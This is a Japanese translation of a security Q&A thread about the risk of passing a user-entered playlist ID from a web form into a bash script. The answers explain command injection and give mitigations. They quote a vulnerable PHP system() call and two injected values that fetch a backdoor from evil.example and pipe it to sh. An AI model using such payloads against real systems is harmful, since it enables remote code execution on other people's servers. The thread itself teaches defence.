web-dev-qa-db-ja.com

サイトダイアログボックスから引数をとるbashスクリプトを実行するのは良い考えですか?

プレイリストの変更を追跡するためにyoutubeAPIを使用するサイトを構築しています。サードパーティがそれを使用するために、私はユーザーが彼/彼女のプレイリストIDを入力するダイアログボックスを提供します-これは読み取られ、次にbashスクリプトに引数として入れられ、次にcurl/pythonスクリプトを実行してAPIに接続します(私のマシンで実行された)と私のディスク上のmkdirsになる別のbashスクリプト。

これは私/私のファイルを危険にさらす可能性がありますか?誰かが「rm * -f」または同様の悪意のある試みを行う魔法のコマンドを入力できますか?マシンの代わりに外部サーバーを使用する必要がありますか?

私はセキュリティについて何も知りません。ここでいくつかのトピックを読みましたが、同様の問題は見つかりませんでした。

1
mgaak

問題

まず、あなたはこれを行うことの危険性について尋ねました。このような機能を適切に実装しないと、 コマンドインジェクション と呼ばれる重大な脆弱性が発生し、攻撃者が任意のシェルコマンドを実行できる可能性があります。

私はあなたのウェブサイトがどの言語/フレームワークを使用しているかはわかりませんが、それがPHPであり、PHP次のようなコードがあるとします。

_system("/usr/local/bin/my_custom_bash_script -p " . $_POST["playlist_id"]);
_

このコードは、ユーザーから送信された値(プレイリストID)を受け取り、それを別の文字列と連結して、通常_/bin/sh -c_に渡されるシェルコマンドを実行します。送信されたプレイリストIDが次のようになっているかどうかを検討します。

_; curl https://evil.example/install_backdoor | sh
_

または

_<some_playlist_id>$(curl https://evil.example/install_backdoor | sh)
_

前者の場合、セミコロンは、後続のコマンドを別のコマンドとして実行する必要があることをシェルに伝えます。 2番目のケースでは、$(...)はシェルにコンテンツをサブシェルで実行するように指示します。これらのシナリオで悪意に使用できるシェルが解釈するさまざまな特殊文字があります(例:_|_、_||_、_&&_、_``_など)。

緩和

たとえば、PHPには escapeshellarg があり、これはこの目的のためのものです。これにより、渡されたものはすべてシェルに渡されたときに1つの引数としてのみ扱われるようになります。使用している言語に応じて、これと同等のものがあるはずです。または、他の回答が述べたように、正規表現を使用して安全な文字をホワイトリストに登録することもできます。

スクリプトが他のスクリプトを呼び出しているため、2次(またはn次)コマンドインジェクションの脆弱性にも注意する必要があります。実行するスクリプトのいずれも、完全に検証されていない限り、信頼できないデータでevalまたはsystemのような関数を使用していないことを確認してください。まったく呼び出されません。

1
multithr3at3d

これはセキュリティ上の問題を引き起こします。入力を適切にサニタイズする必要があります。たとえば、次のようにします。

INPUT=${INPUT//[^a-zA-Z0-9]/}

プレイリストIDにはラテン文字と数字のみが含まれていると仮定します。

このソリューションを実際の外部入力に公開する前に徹底的にテストし、不要な権限のない特別なユーザーとしてのみスクリプトを実行することをお勧めします。これは、特に自分のマシンで、外部ユーザーにサービスを提供するときにとにかくすべきことです。

0

はい、サイトの入力を使用してスクリプトの実行やスクリプトの機能を操作できるため、これは問題になる可能性があります。

スクリプトをWebアプリケーションで実行しないようにすることもお勧めします。

切断の層を追加するために代わりにできること(これはそれ自体の解決策ではありませんが)例:

  1. ユーザー入力をサニタイズするローカルファイルにリクエストを発行します。
  2. 非特権アカウントで実行されているプロセス(おそらくcronジョブ、またはディレクトリの内容を監視して新しいファイルを取得するもの)を使用してファイルを読み取り、その内容をサニタイズしてから2番目のプロセス(または2番目のプロセス)に渡します処理のフェーズ);
  3. その情報を使用するために必要なアクションを実行し、出力をファイルに書き込みます。出力ファイルの内容が期待どおりであることを確認してください。
  4. webアプリケーションで出力ファイルを取得し、その内容を無害化してから、出力をレンダリングします。

プロセスの各ステップで、信頼できないかのように入力を検証してください。

0
Pedro